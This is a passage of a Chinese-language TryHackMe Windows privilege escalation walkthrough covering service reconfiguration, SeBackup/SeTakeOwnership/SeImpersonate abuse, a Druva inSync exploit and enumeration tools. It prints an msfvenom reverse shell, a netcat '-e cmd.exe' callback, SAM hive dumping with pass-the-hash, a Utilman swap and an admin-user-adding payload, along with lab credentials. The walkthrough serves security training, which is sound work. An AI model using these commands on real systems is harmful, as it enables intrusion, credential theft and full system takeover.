1 | C:\> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe |
服务重新启动后,您的有效负载应该执行:
1 | C:\> sc stop "disk sorter enterprise" |
结果,您将获得具有 svcusr2 权限的反向 shell
不安全的服务权限
如果服务的可执行 DACL 配置良好,并且正确引用了服务的二进制路径,您仍然有机会利用该服务。如果服务 DACL (不是服务的可执行DACL )允许您修改服务的配置,您将能够重新配置该服务。这将允许您指向所需的任何可执行文件并使用您喜欢的任何帐户运行它,包括 SYSTEM 本身。
要从命令行检查服务 DACL,您可以使用 Sysinternals 套件中的Accesschk 。为了您的方便,可以在C:\\tools
中获取副本。检查 thmservice 服务DACL 的命令是:
1 | C:\tools\AccessChk> accesschk64.exe -qlc thmservice |
在这里我们可以看到BUILTIN\\Users
组具有SERVICE_ALL_ACCESS权限,这意味着任何用户都可以重新配置服务。
在更改服务之前,让我们构建另一个 exe-service 反向 shell,并在攻击者的计算机上启动它的侦听器:
1 | user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe |
然后我们将反向 shell 可执行文件传输到目标机器并将其存储在 C:\Users\thm-unpriv\rev-svc3.exe
。请随意使用 wget 传输您的可执行文件并将其移动到所需的位置。请记住授予每个人执行您的有效负载的权限:
1 | C:\> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F |
要更改服务关联的可执行文件和帐户,我们可以使用以下命令(使用 sc.exe 时请注意等号后面的空格):
1 | C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem |
请注意,我们可以使用任何帐户来运行该服务。我们选择 LocalSystem,因为它是可用的最高特权帐户。要触发我们的有效负载,剩下的就是重新启动服务:
1 | C:\> sc stop THMService |
我们将在攻击者的机器上收到一个具有系统权限的 shell:
1 | user@attackerpc$ nc -lvp 4447 |
Task6 滥用危险的特权
Windows 权限
权限是帐户执行特定系统相关任务所拥有的权利。这些任务可以像关闭计算机的权限一样简单,也可以像绕过某些基于DACL的访问控制的权限一样简单。
每个用户都有一组分配的权限,可以使用以下命令进行检查:
1 | whoami /priv |
此处提供了 Windows 系统上可用权限的完整列表。从攻击者的角度来看,只有那些允许我们在系统中升级的特权才有意义。您可以在Priv2Admin Github 项目上找到可利用权限的完整列表。
虽然我们不会逐一查看,但我们将展示如何滥用您可以找到的一些最常见的特权。
SeBackup / SeRestore提权
SeBackup 和 SeRestore 权限允许用户读取和写入系统中的任何文件,忽略任何DACL 。此权限背后的想法是允许某些用户从系统执行备份,而无需完全管理权限。
有了这种能力,攻击者可以使用多种技术轻松提升系统权限。我们将研究的方法包括复制 SAM 和 SYSTEM 注册表配置单元以提取本地管理员的密码哈希值。
使用以下凭据通过RDP登录到目标计算机:
用户: THMBackup
密码: CopyMaster555
1 | xfreerdp /v:10.10.255.156 /u:THMBackup /p:CopyMaster555 |
该帐户属于“Backup Operators”组,默认情况下被授予 SeBackup 和 SeRestore 权限。我们需要使用“以管理员身份打开”选项打开命令提示符才能使用这些权限。我们将被要求再次输入密码以获得提升的控制台
进入命令提示符后,我们可以使用以下命令检查我们的权限:
1 | whoami /priv |
要备份 SAM 和 SYSTEM 哈希值,我们可以使用以下命令:
1 | reg save hklm\system C:\Users\THMBackup\system.hive |
这将创建几个包含注册表配置单元内容的文件。现在,我们可以使用 SMB 或任何其他可用方法将这些文件复制到攻击者计算机。对于 SMB,我们可以使用 impacket 的smbserver.py
在 AttackBox 的当前目录中启动一个带有网络共享的简单SMB服务器:
1 | mkdir share |
并使用 impacket 检索用户的密码哈希值:
1 | python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL |
我们终于可以使用管理员的哈希来执行哈希传递攻击并获得具有系统权限的目标计算机的访问权限:
1 | python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5 administrator@10.10.255.156 |
SeTakeOwnership提权
SeTakeOwnership 权限允许用户获取系统上任何对象的所有权,包括文件和注册表项,这为攻击者提升权限提供了多种可能性,例如,我们可以搜索作为 SYSTEM 运行的服务并获取所有权服务的可执行文件。然而,对于这项任务,我们将采取不同的路线。
使用以下凭据通过RDP登录到目标计算机:
用户: THMTakeOwnership
密码: TheWorldIsMine2022
1 | xfreerdp /v:10.10.255.156 /u:THMTakeOwnership /p:TheWorldIsMine2022 |
要获得 SeTakeOwnership 权限,我们需要使用“以管理员身份打开”选项打开命令提示符。我们将被要求输入密码以获得提升的控制台
进入命令提示符后,我们可以使用以下命令检查我们的权限:
1 | whoami /priv |
这次我们将滥用utilman.exe
来升级权限。 Utilman 是一个内置的 Windows 应用程序,用于在锁定屏幕期间提供“轻松访问”选项:
由于 Utilman 是以 SYSTEM 权限运行的,因此如果我们将原始二进制文件替换为我们喜欢的任何有效负载,我们将有效地获得 SYSTEM 权限。由于我们可以拥有任何文件的所有权,因此替换它是微不足道的。
要替换 utilman,我们将首先使用以下命令获取它的所有权:
1 | takeown /f C:\Windows\System32\Utilman.exe |
请注意,成为文件的所有者并不一定意味着您拥有该文件的权限,但作为所有者,您可以为自己分配所需的任何权限。要为您的用户授予 utilman.exe 的完全权限,您可以使用以下命令:
1 | icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F |
然后,我们将用 cmd.exe 的副本替换 utilman.exe:
1 | copy cmd.exe utilman.exe |
要触发 utilman,我们将从开始按钮锁定屏幕:
最后,继续单击“轻松访问”按钮,该按钮将以系统权限运行 utilman.exe。由于我们将其替换为 cmd.exe 副本,因此我们将获得具有 SYSTEM 权限的命令提示符:
SeImpersonate / SeAssignPrimaryToken提权
这些权限允许进程模拟其他用户并代表他们执行操作。模拟通常包括能够在另一个用户的安全上下文下生成进程或线程。
当您考虑FTP服务器的工作原理时,就很容易理解模拟。 FTP服务器必须限制用户只能访问他们应该被允许查看的文件。
假设我们有一个使用用户ftp
运行的FTP服务。如果没有模拟,如果用户 Ann 登录 FTP 服务器并尝试访问她的文件,FTP 服务将尝试使用其访问令牌而不是 Ann 的访问令牌来访问它们:
使用 ftp 令牌不是最好的主意有几个原因: - 为了正确提供文件, ftp
用户需要可以访问它们。在上面的示例中,FTP 服务将能够访问 Ann 的文件,但不能访问 Bill 的文件,因为 Bill 文件中的 DACL 不允许用户ftp
。这增加了复杂性,因为我们必须为每个提供的文件/目录手动配置特定权限。 - 对于操作系统,所有文件均由用户ftp
访问,与当前登录FTP服务的用户无关。这使得无法将授权委托给操作系统;因此, FTP服务必须实现它。 - 如果FTP服务在某个时刻遭到破坏,攻击者将立即获得对ftp
用户有权访问的所有文件夹的访问权限。
另一方面,如果 FTP 服务的用户具有 SeImpersonate 或 SeAssignPrimaryToken 权限,则所有这些都会稍微简化,因为FTP服务可以临时获取登录用户的访问令牌,并使用它来执行其上的任何任务。代表:
现在,如果用户 Ann 登录到 FTP 服务,并且考虑到 ftp 用户具有模拟权限,则它可以借用 Ann 的访问令牌并使用它来访问她的文件。这样,文件不需要以任何方式提供对用户ftp
访问,并且操作系统会处理授权。由于 FTP 服务正在冒充 Ann,因此在该会话期间它将无法访问 Jude 或 Bill 的文件。
作为攻击者,如果我们设法控制具有 SeImpersonate 或 SeAssignPrimaryToken 权限的进程,我们就可以模拟连接该进程并对其进行身份验证的任何用户。
在Windows系统中,你会发现LOCAL SERVICE和NETWORK SERVICE ACCOUNTS已经拥有这样的权限。由于这些帐户用于使用受限帐户生成服务,因此如果服务需要,允许它们模拟连接用户是有意义的。 Internet 信息服务 (IIS) 还将为 Web 应用程序创建一个名为“iis apppool\defaultapppool”的类似默认帐户。
要使用此类帐户提升权限,攻击者需要满足以下条件:
- 生成一个进程,以便用户可以连接该进程并对其进行身份验证,以进行模拟。
- 找到一种方法来强制特权用户连接并验证生成的恶意进程。
我们将使用 RogueWinRM 漏洞来实现这两个条件。
首先,假设我们已经入侵了一个在 IIS 上运行的网站,并且我们已经在以下地址植入了 Web shell:
1 | http://10.10.255.156/ |
我们可以使用 Web shell 检查受感染帐户的分配权限,并确认我们拥有此任务感兴趣的两项权限:
要使用RogueWinRM,我们首先需要将漏洞利用程序上传到目标机器。为了您的方便,这已经完成,您可以在C:\tools\
文件夹中找到该漏洞。
RogueWinRM 漏洞利用是可能的,因为每当用户(包括非特权用户)在 Windows 中启动 BITS 服务时,它都会使用系统权限自动创建到端口 5985 的连接。端口 5985 通常用于 WinRM 服务,它只是一个公开 Powershell 控制台以通过网络远程使用的端口。可以将其想象为SSH ,但使用 Powershell。
如果由于某种原因,WinRM 服务没有在受害服务器上运行,则攻击者可以在端口 5985 上启动伪造的 WinRM 服务,并在启动时捕获 BITS 服务进行的身份验证尝试。如果攻击者具有SeImpersonate权限,他可以代表连接用户(即SYSTEM)执行任何命令。
在运行漏洞之前,我们将启动一个 netcat 侦听器以在攻击者的计算机上接收反向 shell。然后,使用我们的 Web shell 使用以下命令触发 RogueWinRM 漏洞利用:
1 | c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe 10.10.253.40 4442" |
注意:该漏洞可能需要长达 2 分钟才能发挥作用,因此您的浏览器可能会出现一段时间无响应。如果您多次运行漏洞利用程序,就会发生这种情况,因为它必须等待 BITS 服务停止才能再次启动。 BITS服务将在启动2分钟后自动停止。
-p
参数指定漏洞利用程序运行的可执行文件,在本例中为nc64.exe
。 -a
参数用于将参数传递给可执行文件。由于我们希望 nc64 针对攻击者计算机建立反向 shell,因此传递给 netcat 的参数将为-e cmd.exe ATTACKER_IP 4442
。
Task7 滥用易受攻击的软件
打补丁的软件
RDP连接靶机
1 | xfreerdp /v:10.10.99.140 /u:thm-unpriv /p:Password321 |
目标系统上安装的软件可以提供各种权限升级机会。与驱动程序一样,组织和用户可能不会像更新操作系统那样频繁地更新它们。您可以使用wmic
工具列出目标系统上安装的软件及其版本。下面的命令将转储它可以在已安装的软件上收集的信息(可能需要大约一分钟才能完成):
1 | wmic product get name,version,vendor |
请记住, wmic product
命令可能不会返回所有已安装的程序。根据某些程序的安装方式,它们可能不会在此处列出。检查桌面快捷方式、可用服务或任何表明存在可能易受攻击的其他软件的痕迹始终是值得的。
一旦我们收集了产品版本信息,我们就可以随时在exploit-db 、 packetstorm或plain old Google等网站上在线搜索已安装软件的现有漏洞。使用 wmic 和 Google,您能在任何已安装的产品上找到已知漏洞吗?
案例研究:Druva inSync 6.6.3
目标服务器正在运行 Druva inSync 6.6.3,正如Matteo Malvica报告的那样,该服务器容易受到权限升级的影响。该漏洞是由于对Chris Lyne最初报告的 6.5.0 版本的另一个漏洞应用了错误补丁而导致的。
该软件容易受到攻击,因为它在端口 6064 上运行具有系统权限的 RPC(远程过程调用)服务器,只能从本地主机访问。如果您不熟悉 RPC,它只是一种允许给定进程通过网络公开函数(RPC 行话中称为过程)的机制,以便其他计算机可以远程调用它们。
对于 Druva inSync,端口 6064 上公开的过程之一(特别是过程号 5)允许任何人请求执行任何命令。由于 RPC 服务器以 SYSTEM 身份运行,因此任何命令都以 SYSTEM 权限执行。
6.5.0 及更早版本中报告的原始漏洞允许不受限制地运行任何命令。提供此类功能的最初想法是远程执行 inSync 提供的一些特定二进制文件,而不是任何命令。尽管如此,仍然没有进行任何检查来确保这一点。
发布了一个补丁,他们决定检查执行的命令是否以字符串C:\ProgramData\Druva\inSync4\
开头,这是允许的二进制文件应该在的位置。但是,事实证明这还不够,因为您可以简单地进行路径遍历攻击来绕过这种控制。假设您要执行C:\Windows\System32\cmd.exe
,但它不在允许的路径中;你可以简单地要求服务器运行 C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe
这样就可以成功绕过检查。
为了构建一个可行的漏洞利用程序,我们需要了解如何与端口 6064 通信。幸运的是,我们使用的协议很简单,要发送的数据包如下图所示:
第一个数据包只是一个包含固定字符串的 hello 数据包。第二个数据包表明我们想要执行程序 5,因为这是一个易受攻击的程序,它将为我们执行任何命令。最后两个数据包分别用于发送命令的长度和要执行的命令字符串。
最初由 Matteo Malvica在此发布,可以在目标计算机中使用以下漏洞来提升权限并检索此任务的标志。为了您的方便,以下是原始漏洞利用代码:
1 | $ErrorActionPreference = "Stop" |
您可以弹出 Powershell 控制台并直接粘贴漏洞来执行它
(该漏洞也可以在目标计算机中使用,网址为 C:\tools\Druva_inSync_exploit.txt
)。
请注意,在$cmd
变量中指定的漏洞利用的默认有效负载将在系统中创建一个名为pwnd
的用户,但不会为其分配管理权限,因此我们可能希望更改有效负载以获取更有用的内容。对于这个房间,我们将更改exp的$cmd
以运行以下命令:
1 | net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add |
这将创建密码为SimplePass123
的用户pwnd
并将其添加到管理员组中。如果利用成功,您应该能够运行以下命令来验证用户pwnd
是否存在并且是管理员组的一部分:
然后就能以管理员身份运行命令提示符,搜索下命令行
右键以管理员运行,选择我们创建的pwnd用户
成功提权SYSTEM权限
Task8 专业工具
有几个脚本可以以类似于上一个任务中看到的方式进行系统枚举。这些工具可以缩短枚举过程时间并发现不同的潜在特权升级向量。但是,请记住,自动化工具有时可能会错过权限升级。
以下是一些常用于识别权限升级向量的工具。请随意对这个房间中的任何机器运行它们,看看结果是否与讨论的攻击向量相匹配。
WinPEAS
WinPEAS 是一个开发用于枚举目标系统以发现权限提升路径的脚本。您可以找到有关 winPEAS 的更多信息并下载预编译的可执行文件或 .bat 脚本。 WinPEAS 将运行与上一个任务中列出的命令类似的命令并打印其输出。 winPEAS 的输出可能很长,有时难以阅读。这就是为什么最好始终将输出重定向到文件,如下所示:
1 | winpeas.exe > outputfile.txt |
WinPEAS 可以在此处下载。
PrivescCheck
PrivescCheck 是一个PowerShell脚本,用于搜索目标系统上的常见权限升级。它提供了 WinPEAS 的替代方案,无需执行二进制文件。
PrivescCheck 可在此处下载。
提醒:要在目标系统上运行 PrivescCheck,您可能需要绕过执行策略限制。为此,您可以使用Set-ExecutionPolicy
,如下所示。
1 | Set-ExecutionPolicy Bypass -Scope process -Force |
WES-NG Windows 漏洞利用建议器
一些漏洞利用建议脚本(例如 winPEAS)将要求您将它们上传到目标系统并在那里运行它们。这可能会导致防病毒软件检测并删除它们。为了避免发出不必要的噪音来吸引注意力,您可能更喜欢使用 WES-NG,它将在您的攻击机器上运行(例如 Kali 或 TryHackMe AttackBox)。
WES-NG 是一个 Python 脚本,可以在此处找到并下载。
安装后,在使用之前,键入wes.py --update
命令来更新数据库。该脚本将引用它创建的数据库来检查是否有缺失的补丁,这些补丁可能会导致您可以利用漏洞来提升您在目标系统上的权限。
要使用该脚本,您需要在目标系统上运行systeminfo
命令。不要忘记将输出定向到您需要移动到攻击计算机的 .txt 文件。
完成后,wes.py 可以按如下方式运行;
1 | wes.py systeminfo.txt |
Metasploit
如果目标系统上已有Meterpreter shell,则可以使用 multi/recon/local_exploit_suggester
模块列出可能影响目标系统的漏洞并允许您提升目标系统上的权限。
Task9 总结
在这个房间中,我们介绍了 Windows 系统中可用的几种权限升级技术。这些技术应该为您提供有关攻击者提升系统权限的最常见路径的坚实背景。如果您有兴趣了解其他技术,可以使用以下资源:
- [PayloadsAllTheThings - Windows 权限提升](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Windows - Privilege Escalation.md)
- Priv2Admin - 滥用 Windows 权限
- RogueWinRM 漏洞利用
- 土豆
- 解码器的博客
- 令牌绑架
- 黑客技巧 - Windows 本地权限提升